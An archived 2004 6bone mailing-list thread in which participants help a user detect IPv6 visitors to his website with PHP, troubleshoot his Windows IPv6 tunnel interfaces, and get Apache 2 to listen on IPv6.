> > The Cisco IOS resolver should also do ipv6.arpa "real soon now".
> 
> And the Cisco PIX will be doing IPv6 firewalling "really soon now" too
> ;)
> 
> Or didn't you mean it sarcasticly ? :)

I don't think he did (: It is actually quite soon now.

Stig

From old_mc_donald@hotmail.com Sun Jul 18 04:42:44 2004
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Hi All,

I want to create an IPv6 only version of my web site. I want that version to 
be the same as the IPv4 version
except for some extra content on existing pages and also some v6 only extra 
pages.

I notice www.kame.net and a few others have at the bottom of their page a 
line which tells the user if they are visiting
the site using a v6 address or a v4 address. I would like to know how to do 
this. I am guessing something to do with
HTTP_REFERER is involved but not sure how to implement.

The extra content I am guessing I can use SSI includes and using conditional 
statements include them if HTTP_REFERER is v6 or leave them out if it is v4. 
I am using VirtualHosts on my Apache2 server, I am thinking I implement 
another VirtualHost container to listen out for the v6 socket.

I want to do this so as to promote the use of IPv6 and if they are not 
enabled, then give a short tutorial on how to get enabled, then they are 
rewarded with this extra content.

The other thing is, although I am v6 enabled and have an account with 
FREENET6 , my ipv6 if seems correct, kame.net still says I am viewing using 
a v4 address, any ideas at what I have missed ?

Thanks people, I thought you might like something to do :)

Gav...

www.minitutorials.com   <---- The site I am thinking of using. (online when 
my ISP isnt playing up!)


---
Checked for Viruses (Viri) , Gav...
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.720 / Virus Database: 476 - Release Date: 14/07/2004 

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On Sun, 2004-07-18 at 13:41, Gav wrote:
> Hi All,
>=20
> I want to create an IPv6 only version of my web site. I want that version=
 to=20
> be the same as the IPv4 version
> except for some extra content on existing pages and also some v6 only ext=
ra=20
> pages.
>=20
> I notice www.kame.net and a few others have at the bottom of their page a=
=20
> line which tells the user if they are visiting
> the site using a v6 address or a v4 address. I would like to know how to =
do=20
> this. I am guessing something to do with
> HTTP_REFERER is involved but not sure how to implement.

Nopes, you check the SERVER_ADDR, if it contains '.' then it is IPv4,
which matches even: ::ffff:192.0.2.1 when your server does IPv4 mapped
addresses. Eg in PHP:

if (isset($_SERVER["SERVER_ADDR"]))
{
    if (strstr($_SERVER["SERVER_ADDR"], "."))
    {
        echo "IPv4 Connection Detected!\n";
    }
    else
    {
        echo "IPv6 Connection Detected!\n";
    }
}
else echo "Can't determine if you are using IPv4 or IPv6\n";

> The extra content I am guessing I can use SSI includes and using conditio=
nal=20
> statements include them if HTTP_REFERER is v6 or leave them out if it is =
v4.=20
> I am using VirtualHosts on my Apache2 server, I am thinking I implement=20
> another VirtualHost container to listen out for the v6 socket.

One vhost is enough as you can just let the content do the above.

> I want to do this so as to promote the use of IPv6 and if they are not=20
> enabled, then give a short tutorial on how to get enabled, then they are=20
> rewarded with this extra content.
>=20
> The other thing is, although I am v6 enabled and have an account with=20
> FREENET6 , my ipv6 if seems correct, kame.net still says I am viewing usi=
ng=20
> a v4 address, any ideas at what I have missed ?

Are you very sure that your IPv6 is working?

Check http://www.sixxs.net/tools/ipv6calc/
If that shows IPv4, try:
http://www.ipv6.sixxs.net/tools/ipv6calc/
If that doesn't connect then you have no IPv6... thus check your config
and of course try traceroute6's to that host to see where your
connectivity stops.

Applications should first try IPv6 and then IPv4 but there has lately
been a trend that applications start doing IPv4 first and then IPv6 even
if this is against the RFC. Their biggest reason "we now support IPv6
and when that host is unreachable we are slower than the competition
because we timeout and then try IPv4".

> www.minitutorials.com   <---- The site I am thinking of using. (online wh=
en=20
> my ISP isnt playing up!)

You will have to add a IPv6 address to that host first:
$ host -t aaaa www.minitutorials.com
www.minitutorials.com has no AAAA record (Authoritative answer)

Also a good 'policy' is to have:
www.example.com      =3D IPv4 + IPv6 (A+AAAA)
www.ipv4.example.com =3D IPv4 (A)
www.ipv6.example.com =3D IPv6 (AAAA)

That way you can always use the IPv4 or IPv6 specific host and be
absolutely sure that you are accessing the correct host.

Greets,
 Jeroen


--=-N4o1tB/YiAZTh+qWb4Zk
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From sp@iphh.net Sun Jul 18 07:41:45 2004
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Subject: Re: [6bone] Ipv6 Enabled Web Site
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Gav,

> I notice www.kame.net and a few others have at the bottom of their page a
> line which tells the user if they are visiting
> the site using a v6 address or a v4 address. I would like to know how to do
> this. I am guessing something to do with

I did this with creating a 2nd vhost
on my v6 enabled Apache but with a different
DirectoryIndex statement (e.g. using
index6.html instead of index.html) and
using only the v6 address in the VirtualHost
tag.

Dont know if this is already sufficient
for your situation.

Sascha




From old_mc_donald@hotmail.com Sun Jul 18 14:22:46 2004
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Subject: Re: [6bone] Ipv6 Enabled Web Site
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Thanks for the reply Jeroen, looks like the PHP will do exactly what I want 
thanks.

Now for me the confusing part.

Since installing FREENET6 client I now have 9 Interfaces (I have 2 Network 
Cards and a Cable Modem)

I can ping6 kame.net no problems
I can tracert6 kame.net no problems. (11 Hops - wide.ad.jp using 4 hops ?)
kame.net however still insists I am v4


I can ping6 and tracert6 ipv6.sixxs.net no problems and it tells me I am 
accessing using v6 address and can view www.ipv6.sixxs.net no problems, 
however it tells me my address 3ffe:bc0::8000::3c6a.sixxs.net does not exist 
(authoritive answer). That being the case how I can access the site, and why 
does it add on .sixxs.net onto the end ?

The address 3ffe:bc0::8000::3c6a is on my Interface 2 , I thought Windows 
used 3,4 or 5 traditionally.
I have attatched output of my 'ipv6 if' results. Interface 9 looks like the 
one I should be using. Looks like Spaghetti to me.

Gav...






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Interface 9: Ethernet: Local Area Connection 2=0D
  Guid {655005DA-6B2E-479D-9715-DFD865D503C8}=0D
  uses Neighbor Discovery=0D
  uses Router Discovery=0D
  forwards packets=0D
  link-layer address: 00-02-b3-5b-9e-5f=0D
    preferred link-local fe80::202:b3ff:fe5b:9e5f, life infinite=0D
    multicast interface-local ff01::1, 1 refs, not reportable=0D
    multicast link-local ff02::1, 1 refs, not reportable=0D
    multicast link-local ff02::1:ff5b:9e5f, 1 refs, last reporter=0D
  link MTU 1500 (true link MTU 1500)=0D
  current hop limit 128=0D
  reachable time 39500ms (base 30000ms)=0D
  retransmission interval 1000ms=0D
  DAD transmits 1=0D
  default site prefix length 48=0D
Interface 7: Ethernet: Network Bridge=0D
  Guid {9F42431E-3713-4622-8994-AD8E79504DAD}=0D
  zones: link 7 site 2=0D
  uses Neighbor Discovery=0D
  uses Router Discovery=0D
  sends Router Advertisements=0D
  forwards packets=0D
  link-layer address: 02-80-48-ee-2f-b2=0D
    preferred global 2002:cb79:cc82:7:a888:f569:f8b7:26d4, life =
47h55m49s/25m49s (temporary)=0D
    preferred global 2002:cb79:cc82:7:80:48ff:feee:2fb2, life =
47h55m49s/25m49s (public)=0D
    preferred site-local fec0::7:80:48ff:feee:2fb2, life =
47h55m49s/25m49s (public)=0D
    preferred link-local fe80::80:48ff:feee:2fb2, life infinite=0D
    multicast interface-local ff01::1, 1 refs, not reportable=0D
    multicast link-local ff02::1, 1 refs, not reportable=0D
    multicast link-local ff02::1:ffee:2fb2, 3 refs=0D
    multicast interface-local ff01::2, 1 refs, not reportable=0D
    multicast link-local ff02::2, 1 refs, last reporter=0D
    multicast site-local ff05::2, 1 refs, last reporter=0D
    anycast site-local fec0:0:0:7::=0D
    multicast link-local ff02::1:ff00:0, 2 refs, last reporter=0D
    multicast link-local ff02::1:ffb7:26d4, 1 refs, last reporter=0D
    anycast global 2002:cb79:cc82:7::=0D
  link MTU 1500 (true link MTU 1500)=0D
  current hop limit 128=0D
  reachable time 34000ms (base 30000ms)=0D
  retransmission interval 1000ms=0D
  DAD transmits 1=0D
  default site prefix length 48=0D
Interface 6: Ethernet=0D
  Guid {D524E979-96EE-4A99-9100-DD1F9A257A32}=0D
  zones: link 6 site 3=0D
  uses Neighbor Discovery=0D
  uses Router Discovery=0D
  forwards packets=0D
  link-layer address: 00-80-48-ee-2f-b2=0D
    preferred global 2002:cb79:cc82:7:ddec:6fd6:ddc5:d487, life =
47h55m49s/25m49s (temporary)=0D
    preferred global 2002:cb79:cc82:7:280:48ff:feee:2fb2, life =
47h55m49s/25m49s (public)=0D
    preferred site-local fec0::7:280:48ff:feee:2fb2, life =
47h55m49s/25m49s (public)=0D
    preferred link-local fe80::280:48ff:feee:2fb2, life infinite=0D
    multicast interface-local ff01::1, 1 refs, not reportable=0D
    multicast link-local ff02::1, 1 refs, not reportable=0D
    multicast link-local ff02::1:ffee:2fb2, 3 refs, last reporter=0D
    multicast link-local ff02::1:ffc5:d487, 1 refs, last reporter=0D
  link MTU 1500 (true link MTU 1500)=0D
  current hop limit 128=0D
  reachable time 40000ms (base 30000ms)=0D
  retransmission interval 1000ms=0D
  DAD transmits 1=0D
  default site prefix length 48=0D
Interface 4: Teredo Tunneling Pseudo-Interface=0D
  Guid {53DFD666-F5B6-4FB0-BDBD-D28C3334E588}=0D
  zones: link 4 site 4=0D
  cable unplugged=0D
  uses Neighbor Discovery=0D
  uses Router Discovery=0D
  forwards packets=0D
  routing preference 2=0D
  link-layer address: 0.0.0.0:0=0D
    preferred link-local fe80::5445:5245:444f, life infinite=0D
    multicast interface-local ff01::1, 1 refs, not reportable=0D
    multicast link-local ff02::1, 1 refs, not reportable=0D
  link MTU 1280 (true link MTU 1280)=0D
  current hop limit 128=0D
  reachable time 44000ms (base 30000ms)=0D
  retransmission interval 1000ms=0D
  DAD transmits 0=0D
  default site prefix length 48=0D
Interface 3: 6to4 Tunneling Pseudo-Interface=0D
  Guid {A995346E-9F3E-2EDB-47D1-9CC7BA01CD73}=0D
  does not use Neighbor Discovery=0D
  does not use Router Discovery=0D
  forwards packets=0D
  routing preference 1=0D
    preferred global 2002:cb79:cc82::cb79:cc82, life infinite=0D
  link MTU 1280 (true link MTU 65515)=0D
  current hop limit 128=0D
  reachable time 21500ms (base 30000ms)=0D
  retransmission interval 1000ms=0D
  DAD transmits 0=0D
  default site prefix length 48=0D
Interface 2: Automatic Tunneling Pseudo-Interface=0D
  Guid {48FCE3FC-EC30-E50E-F1A7-71172AEEE3AE}=0D
  does not use Neighbor Discovery=0D
  does not use Router Discovery=0D
  forwards packets=0D
  routing preference 1=0D
  EUI-64 embedded IPv4 address: 0.0.0.0=0D
  router link-layer address: 0.0.0.0=0D
    preferred link-local fe80::5efe:203.121.204.130, life infinite=0D
    preferred global 3ffe:bc0:8000::3c6b, life infinite (manual)=0D
    preferred link-local fe80::5efe:192.168.0.1, life infinite=0D
  link MTU 1280 (true link MTU 65515)=0D
  current hop limit 128=0D
  reachable time 42500ms (base 30000ms)=0D
  retransmission interval 1000ms=0D
  DAD transmits 0=0D
  default site prefix length 48=0D
Interface 1: Loopback Pseudo-Interface=0D
  Guid {6BD113CC-5EC2-7638-B953-0B889DA72014}=0D
  zones: link 1 site 5=0D
  does not use Neighbor Discovery=0D
  does not use Router Discovery=0D
  link-layer address: =0D
    preferred link-local ::1, life infinite=0D
    preferred link-local fe80::1, life infinite=0D
  link MTU 1500 (true link MTU 4294967295)=0D
  current hop limit 128=0D
  reachable time 22500ms (base 30000ms)=0D
  retransmission interval 1000ms=0D
  DAD transmits 0=0D
  default site prefix length 48=0D

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From old_mc_donald@hotmail.com Sun Jul 18 14:23:45 2004
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You will have to add a IPv6 address to that host first:
$ host -t aaaa www.minitutorials.com
www.minitutorials.com has no AAAA record (Authoritative answer)

Also a good 'policy' is to have:
www.example.com      = IPv4 + IPv6 (A+AAAA)
www.ipv4.example.com = IPv4 (A)
www.ipv6.example.com = IPv6 (AAAA)

That way you can always use the IPv4 or IPv6 specific host and be
absolutely sure that you are accessing the correct host.
-------------------------

Thanks Jeroen, I will do that.

Gav...



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| I did this with creating a 2nd vhost
| on my v6 enabled Apache but with a different
| DirectoryIndex statement (e.g. using
| index6.html instead of index.html) and
| using only the v6 address in the VirtualHost
| tag.
|
| Dont know if this is already sufficient
| for your situation.
|
| Sascha

Thanks Sascha,

I will look into that, not sure which is the best way to go without having 
'2 separate sites' as such.
Two different Index pages seems a good idea, the v6 one allowing access to 
extra pages and content.

Cheers

Gav...


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From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: [6bone] Ipv6 Enabled Web Site
Date: Mon, 19 Jul 2004 10:16:10 +0200
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On 18-jul-04, at 23:21, Gav wrote:

> I can ping6 kame.net no problems
> I can tracert6 kame.net no problems. (11 Hops - wide.ad.jp using 4 
> hops ?)
> kame.net however still insists I am v4

It may be your browser. Remember that applications must also support 
IPv6. But you're using Windows, right? IE should automatically prefer 
IPv6 when you have it.

You can test if you have an IPv6-capable browser by going to 
http://www.ipv6.bgpexpert.com/ Since this FQDN doesn't have an IPv6 
address, either it won't load or it will load over IPv6. You can go to 
the same site without the "ipv6" part and look at the bottom (where you 
see the address you're using) to see if your browser also _prefers_ 
IPv6.

> can view www.ipv6.sixxs.net no problems,
> however it tells me my address 3ffe:bc0::8000::3c6a.sixxs.net does not 
> exist
> (authoritive answer). That being the case how I can access the site, 
> and why
> does it add on .sixxs.net onto the end ?

> The address 3ffe:bc0::8000::3c6a is on my Interface 2

That can't be right, as this isn't a valid IPv6 address: it has two 
"::" sequences in it. Only one is allowed. The sixxs scripts probably 
think this is a hostname and attach their domain to it to create an 
FQDN which of course doesn't exist. Or maybe this happens in the DNS.

Iljitsch

BTW, Jeroen: coming to Ede next week?


From jeroen@unfix.org Mon Jul 19 02:47:46 2004
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Subject: Re: [6bone] Ipv6 Enabled Web Site
From: Jeroen Massar <jeroen@unfix.org>
To: Gav <old_mc_donald@hotmail.com>
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On Sun, 2004-07-18 at 23:21, Gav wrote:
> Thanks for the reply Jeroen, looks like the PHP will do exactly what I wa=
nt=20
> thanks.
>=20
> Now for me the confusing part.
>=20
> Since installing FREENET6 client I now have 9 Interfaces (I have 2 Networ=
k=20
> Cards and a Cable Modem)

You also have 6to4 enabled and some bridging running which makes it a
fine mess ;) Also:

Interface 2: Automatic Tunneling Pseudo-Interface
  Guid {48FCE3FC-EC30-E50E-F1A7-71172AEEE3AE}
  does not use Neighbor Discovery
  does not use Router Discovery
  forwards packets
  routing preference 1
  EUI-64 embedded IPv4 address: 0.0.0.0
  router link-layer address: 0.0.0.0
    preferred link-local fe80::5efe:203.121.204.130, life infinite
    preferred global 3ffe:bc0:8000::3c6b, life infinite (manual)
    preferred link-local fe80::5efe:192.168.0.1, life infinite
  link MTU 1280 (true link MTU 65515)
  current hop limit 128
  reachable time 42500ms (base 30000ms)
  retransmission interval 1000ms
  DAD transmits 0
  default site prefix length 48

Thus you are behind a NAT I (192.168.0.1 =3D=3D rfc1918), as that IPv6 did
hit the webserver it apparently worked though:

3ffe:bc0:8000::3c6b - - [18/Jul/2004:14:49:04 +0200] "GET
/tools/ipv6calc/ HTTP/1
.1" 200 6981 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1)"

> I can ping6 kame.net no problems
> I can tracert6 kame.net no problems. (11 Hops - wide.ad.jp using 4 hops ?=
)
> kame.net however still insists I am v4

Then it must be a timeout issue in your browser I assume, I guess that even
though you are physically close to the box your IPv6 packets will go twice
around the world before they reach that box.

> I can ping6 and tracert6 ipv6.sixxs.net no problems and it tells me I am=20
> accessing using v6 address and can view www.ipv6.sixxs.net no problems,=20
> however it tells me my address 3ffe:bc0::8000::3c6a.sixxs.net does not ex=
ist=20
> (authoritive answer). That being the case how I can access the site, and =
why=20
> does it add on .sixxs.net onto the end ?

Can you screenshot that and mail the JPG to info@sixxs.net as I can't
reproduce it. Are you sure it is ::3c6a , especially the _a_ as the logs
show a 'b' in the end. Assuming freenet6 still uses /127's, the 'a'
would be the freenet6 side of the tunnel.

> The address 3ffe:bc0::8000::3c6a is on my Interface 2 , I thought Windows=
=20
> used 3,4 or 5 traditionally.
> I have attatched output of my 'ipv6 if' results. Interface 9 looks like t=
he=20
> one I should be using. Looks like Spaghetti to me.

Doesn't really say a thing as they can be mixed up and it totally
depends on installation order etc. On XP you should drop usage of the
ipv6.exe command in favor of netsh.exe. It also seems that there are
differences between "ipv6 install" and "netsh interface ipv6 install",
though what exactly the differences are, je ne sais pas.s

On Mon, 2004-07-19 at 10:16, Iljitsch van Beijnum wrote:=20
> On 18-jul-04, at 23:21, Gav wrote:
>=20
> > can view www.ipv6.sixxs.net no problems,
> > however it tells me my address 3ffe:bc0::8000::3c6a.sixxs.net does not=20
> > exist
> > (authoritive answer). That being the case how I can access the site,=20
> > and why
> > does it add on .sixxs.net onto the end ?
>=20
> > The address 3ffe:bc0::8000::3c6a is on my Interface 2
>=20
> That can't be right, as this isn't a valid IPv6 address: it has two=20
> "::" sequences in it. Only one is allowed. The sixxs scripts probably=20
> think this is a hostname and attach their domain to it to create an=20
> FQDN which of course doesn't exist. Or maybe this happens in the DNS.

That is the normal IPv6calc by Peter Bieringer, nevertheless it should
not be doing that.

> BTW, Jeroen: coming to Ede next week?

Nope and for the moment it seems like I will be only visiting
.nl for a few days in August and then again in October.

Greets,
 Jeroen


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From old_mc_donald@hotmail.com Mon Jul 19 03:15:46 2004
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----- Original Message ----- 
From: "Iljitsch van Beijnum" <iljitsch@muada.com>


| On 18-jul-04, at 23:21, Gav wrote:

| It may be your browser. Remember that applications must also support
| IPv6. But you're using Windows, right? IE should automatically prefer
| IPv6 when you have it.

Internet Explorer seems to be behaving correctly.
|
| You can test if you have an IPv6-capable browser by going to
| http://www.ipv6.bgpexpert.com/ Since this FQDN doesn't have an IPv6
| address, either it won't load or it will load over IPv6. You can go to
| the same site without the "ipv6" part and look at the bottom (where you
| see the address you're using) to see if your browser also _prefers_
| IPv6.

Went to both addresses, bgpexpert told me I was connected using IPv6 both 
times.

|
| > can view www.ipv6.sixxs.net no problems,
| > however it tells me my address 3ffe:bc0::8000::3c6a.sixxs.net does not
| > exist
| > (authoritive answer). That being the case how I can access the site,
| > and why
| > does it add on .sixxs.net onto the end ?
|
| > The address 3ffe:bc0::8000::3c6a is on my Interface 2
|
| That can't be right, as this isn't a valid IPv6 address: it has two
| "::" sequences in it. Only one is allowed. The sixxs scripts probably
| think this is a hostname and attach their domain to it to create an
| FQDN which of course doesn't exist. Or maybe this happens in the DNS.

Whoops my bad, it is 3ffe:bc0:8000::3c6a

and on another computer in my network it is allocated 
2002:cb79:cc82:7:20b3:d73c:32b1:1318.
Again,this computer will connect to sixxs.net and bgpexpert.com over IPv6 no 
problems.
This computer is also told by Kame.net that it is connecting over IPv4, 
although it can ping6 and tracert6 it no problem.

Is Kame.net giving out the wrong information ? Maybe it is broken somewhere.

Gav...


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From old_mc_donald@hotmail.com Mon Jul 19 04:46:47 2004
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Subject: Re: [6bone] Ipv6 Enabled Web Site
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Hi Jeroen,

Screenshot of what I get a sixxs.net.

J>You also have 6to4 enabled and some bridging running which makes it a
fine mess ;)

Ok, it seems when enabling and using automatic tools, yes they are easy to 
use ,
 but can make a mess of things and just enable everything in site
and attatch a v6 address to it.

I have now removed the Bridge and disabled 6to4 .
I have also disabled Teredo, although the Interface still shows up as 
unplugged.

>From that it seems to have cured (unless it was cured elsewhere) my kame.net 
problem
(hops reduced) and I can now see the dancing turtle and kame states I am 
using IPv6.
However my other computers in the network are now unable to connect via 
IPv6.

J>Are you sure it is ::3c6a , especially the _a_ as the logs
show a 'b' in the end. Assuming freenet6 still uses /127's, the 'a'
would be the freenet6 side of the tunnel.

Other way round it seems, the Freenet6 Server is assigned the 'b' while my 
Server has the 'a'.

I have attached my updated view of 'ipv6 if' with the above changes.

I now have to change my tspc.conf file (Freenet6) but not sure where now to 
point these to:

if_tunnel=2
if_prefix=3

Looks like I need to point these to maybe 2 and 11 respectively?
Dont *think* I need to change anything else in there.

When setting up the Listen directive on my Apache Server , do I use 
3ffe:bc0:8000::3c6a
or 3ffe:bc0:8000::3c6b or something else?

Thanks for your time.

Gav...






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Interface 12: Ethernet: Local Area Connection
  Guid {D524E979-96EE-4A99-9100-DD1F9A257A32}
  zones: link 12 admin 6 site 2
  uses Neighbor Discovery
  uses Router Discovery
  forwards packets
  link-layer address: 00-80-48-ee-2f-b2
    preferred link-local fe80::280:48ff:feee:2fb2, life infinite
    multicast interface-local ff01::1, 1 refs, not reportable
    multicast link-local ff02::1, 1 refs, not reportable
    multicast link-local ff02::1:ffee:2fb2, 1 refs, last reporter
  link MTU 1500 (true link MTU 1500)
  current hop limit 128
  reachable time 38000ms (base 30000ms)
  retransmission interval 1000ms
  DAD transmits 1
  default site prefix length 48
Interface 11: Ethernet: Local Area Connection 2
  Guid {655005DA-6B2E-479D-9715-DFD865D503C8}
  uses Neighbor Discovery
  uses Router Discovery
  forwards packets
  link-layer address: 00-02-b3-5b-9e-5f
    preferred link-local fe80::202:b3ff:fe5b:9e5f, life infinite
    multicast interface-local ff01::1, 1 refs, not reportable
    multicast link-local ff02::1, 1 refs, not reportable
    multicast link-local ff02::1:ff5b:9e5f, 1 refs, last reporter
  link MTU 1500 (true link MTU 1500)
  current hop limit 128
  reachable time 29000ms (base 30000ms)
  retransmission interval 1000ms
  DAD transmits 1
  default site prefix length 48
Interface 4: Teredo Tunneling Pseudo-Interface
  Guid {53DFD666-F5B6-4FB0-BDBD-D28C3334E588}
  zones: link 4 site 4
  cable unplugged
  uses Neighbor Discovery
  uses Router Discovery
  forwards packets
  routing preference 2
  link-layer address: 0.0.0.0:0
    preferred link-local fe80::5445:5245:444f, life infinite
    multicast interface-local ff01::1, 1 refs, not reportable
    multicast link-local ff02::1, 1 refs, not reportable
  link MTU 1280 (true link MTU 1280)
  current hop limit 128
  reachable time 31500ms (base 30000ms)
  retransmission interval 1000ms
  DAD transmits 0
  default site prefix length 48
Interface 3: 6to4 Tunneling Pseudo-Interface
  Guid {A995346E-9F3E-2EDB-47D1-9CC7BA01CD73}
  does not use Neighbor Discovery
  does not use Router Discovery
  routing preference 1
  link MTU 1280 (true link MTU 65515)
  current hop limit 128
  reachable time 34500ms (base 30000ms)
  retransmission interval 1000ms
  DAD transmits 0
  default site prefix length 48
Interface 2: Automatic Tunneling Pseudo-Interface
  Guid {48FCE3FC-EC30-E50E-F1A7-71172AEEE3AE}
  does not use Neighbor Discovery
  does not use Router Discovery
  routing preference 1
  EUI-64 embedded IPv4 address: 0.0.0.0
  router link-layer address: 0.0.0.0
    preferred link-local fe80::5efe:192.168.0.1, life infinite
    preferred link-local fe80::5efe:203.121.204.130, life infinite
    preferred global 3ffe:bc0:8000::3c6b, life infinite (manual)
  link MTU 1280 (true link MTU 65515)
  current hop limit 128
  reachable time 39500ms (base 30000ms)
  retransmission interval 1000ms
  DAD transmits 0
  default site prefix length 48
Interface 1: Loopback Pseudo-Interface
  Guid {6BD113CC-5EC2-7638-B953-0B889DA72014}
  zones: link 1 site 5
  does not use Neighbor Discovery
  does not use Router Discovery
  link-layer address: 
    preferred link-local ::1, life infinite
    preferred link-local fe80::1, life infinite
  link MTU 1500 (true link MTU 4294967295)
  current hop limit 128
  reachable time 16500ms (base 30000ms)
  retransmission interval 1000ms
  DAD transmits 0
  default site prefix length 48

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On my site (www.fpsn.net) to all we do is check for colons in the 
REMOTE_ADDR environment variable (we also use apache 2) and it seems to 
do the trick rather well.   With a successful IPv6 connection IPv6 users 
see a small blurb at the bottom:

::I:P:v:6::

Internet Protocol Version 6 aware user detected.

Hope this helps.

Gav wrote:

>Hi All,
>
>I want to create an IPv6 only version of my web site. I want that version to 
>be the same as the IPv4 version
>except for some extra content on existing pages and also some v6 only extra 
>pages.
>
>I notice www.kame.net and a few others have at the bottom of their page a 
>line which tells the user if they are visiting
>the site using a v6 address or a v4 address. I would like to know how to do 
>this. I am guessing something to do with
>HTTP_REFERER is involved but not sure how to implement.
>
>The extra content I am guessing I can use SSI includes and using conditional 
>statements include them if HTTP_REFERER is v6 or leave them out if it is v4. 
>I am using VirtualHosts on my Apache2 server, I am thinking I implement 
>another VirtualHost container to listen out for the v6 socket.
>
>I want to do this so as to promote the use of IPv6 and if they are not 
>enabled, then give a short tutorial on how to get enabled, then they are 
>rewarded with this extra content.
>
>The other thing is, although I am v6 enabled and have an account with 
>FREENET6 , my ipv6 if seems correct, kame.net still says I am viewing using 
>a v4 address, any ideas at what I have missed ?
>
>Thanks people, I thought you might like something to do :)
>
>Gav...
>
>www.minitutorials.com   <---- The site I am thinking of using. (online when 
>my ISP isnt playing up!)
>
>
>---
>Checked for Viruses (Viri) , Gav...
>Checked by AVG anti-virus system (http://www.grisoft.com).
>Version: 6.0.720 / Virus Database: 476 - Release Date: 14/07/2004 
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone
>
>
>  
>


From cfaber@fpsn.net Mon Jul 19 20:49:49 2004
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Hi folks,

I noticed about 10 minutes ago that the E.F.F.3.IP6.ARPA zone is resolving.

THANK YOU!


From pim@ipng.nl Tue Jul 20 01:57:50 2004
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On Mon, Jul 19, 2004 at 09:48:02PM -0600, Colin Faber wrote:
| Hi folks,
| 
| I noticed about 10 minutes ago that the E.F.F.3.IP6.ARPA zone is resolving.
 
Confirmed:
$ host -t NS 1.1.8.E.F.F.3.IP6.ARPA
1.1.8.E.F.F.3.IP6.ARPA name server ns2.sixxs.net
1.1.8.E.F.F.3.IP6.ARPA name server ns3.sixxs.net
1.1.8.E.F.F.3.IP6.ARPA name server ns1.sixxs.net

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From old_mc_donald@hotmail.com Tue Jul 20 06:04:50 2004
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Subject: Re: [6bone] Ipv6 Enabled Web Site
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| Screenshot of what I get a sixxs.net.
|

Just to let you know, that error in the scrrenshot seems to have gone now.

New problem now, I can not get my Apache2 Server to Start after entering a 
Listen Directive for ipv6

if I add

Listen [::]:80

or even specify the IPv6 Address to Listen on, the Server will not start.
Saying failed to set up sock_address for listener [::]

It then tells me I have a Syntax error on the above line ?

I have scoured the net for answers, Apache Docs are still no help and no 
specific answers work for me.
I have set up the Listen, the NameVirtualHost, the VirtualHosts in EXACT 
form as what is required.

Am I missing something else?

Thanks

Gav...




---
Checked for Viruses (Viri) , Gav...
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.720 / Virus Database: 476 - Release Date: 14/07/2004 

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On Tue, Jul 20, 2004 at 09:01:37PM +0800, Gav wrote:
> 
> | Screenshot of what I get a sixxs.net.
> |
> 
> Just to let you know, that error in the scrrenshot seems to have gone now.
> 
> New problem now, I can not get my Apache2 Server to Start after entering a 
> Listen Directive for ipv6
> 
> if I add
> 
> Listen [::]:80
> 
> or even specify the IPv6 Address to Listen on, the Server will not start.
> Saying failed to set up sock_address for listener [::]
> 
> It then tells me I have a Syntax error on the above line ?

I'm using simply "Listen 80", but I think perhaps I've seen
"Listen :::80". That is, without the brackets. I might be confusing
this with some other application config.

Stig

From mohacsi@niif.hu Tue Jul 20 07:41:50 2004
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On Tue, 20 Jul 2004, Gav wrote:

>
> | Screenshot of what I get a sixxs.net.
> |
>
> Just to let you know, that error in the scrrenshot seems to have gone now.
>
> New problem now, I can not get my Apache2 Server to Start after entering a
> Listen Directive for ipv6
>
> if I add
>
> Listen [::]:80


Try simply:
Listen 80

And check whether you have apache listening on IPv6 socket. If yes you 
might have syntax problem.

Did you look at this page?
http://httpd.apache.org/docs-2.0/bind.html#ipv6

Regards,

Janos Mohacsi
Network Engineer, Research Associate
NIIF/HUNGARNET, HUNGARY
Key 00F9AF98: 8645 1312 D249 471B DBAE  21A2 9F52 0D1F 00F9 AF98


>
> or even specify the IPv6 Address to Listen on, the Server will not start.
> Saying failed to set up sock_address for listener [::]
>
> It then tells me I have a Syntax error on the above line ?
>
> I have scoured the net for answers, Apache Docs are still no help and no
> specific answers work for me.
> I have set up the Listen, the NameVirtualHost, the VirtualHosts in EXACT
> form as what is required.
>
> Am I missing something else?
>
> Thanks
>
> Gav...
>
>
>
>
> ---
> Checked for Viruses (Viri) , Gav...
> Checked by AVG anti-virus system (http://www.grisoft.com).
> Version: 6.0.720 / Virus Database: 476 - Release Date: 14/07/2004
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>

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Janos,

| Try simply:
| Listen 80
|
| And check whether you have apache listening on IPv6 socket. If yes you
| might have syntax problem.
|
| Did you look at this page?
| http://httpd.apache.org/docs-2.0/bind.html#ipv6
|
| Regards,
|
| Janos Mohacsi

Yes, Listen 80 works, and is what I had before , but from reading the page 
above (as I had before) it
confused me into thinking I needed to separate sockets, one for v4 and one 
v6.

doing a netstat -an , it shows no sockets are listening for IPv6.

So all I am getting is v4 connections, even when I specify v6 addresses in 
the NameVirtualHost and VirtualHosts.

What have I missed so that I can get Listening for v6 connections.

Having searched round the internet for answers, I seem to get the same 
familiar names crop up, Jeroen, Itogen, Robert etc etc so I hope you don't 
mind me just staying here until its resolved as you guys are the only ones 
it seems that know these things.

:)

If you need more details, printouts, httpd.conf etc just ask and I'll post 
them right away.
This is bugging me now, I thought this was going to be easy!

Gav... 

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Where do you do your check for this Colin.

I'd like to keep my Index page as a .shtml as my menus and footers are SSI 
included ito the page.
Rather than .php at this point.

Thanks

Gav...

----- Original Message ----- 
From: "Colin Faber" <cfaber@fpsn.net>
To: "Gav" <old_mc_donald@hotmail.com>
Cc: <6bone@mailman.isi.edu>
Sent: Tuesday, July 20, 2004 11:39 AM
Subject: Re: [6bone] Ipv6 Enabled Web Site


| On my site (www.fpsn.net) to all we do is check for colons in the
| REMOTE_ADDR environment variable (we also use apache 2) and it seems to
| do the trick rather well.   With a successful IPv6 connection IPv6 users
| see a small blurb at the bottom:
|
| ::I:P:v:6::
|
| Internet Protocol Version 6 aware user detected.
|
| Hope this helps.
| 

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Subject: Re: [6bone] Ipv6 Enabled Web Site
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[Errgh, I really shouldn't be posting here as it is the "out of office" 
trap I've seen so far]

On 21-jul-04, at 14:22, Gav wrote:

> | Listen 80

> doing a netstat -an , it shows no sockets are listening for IPv6.

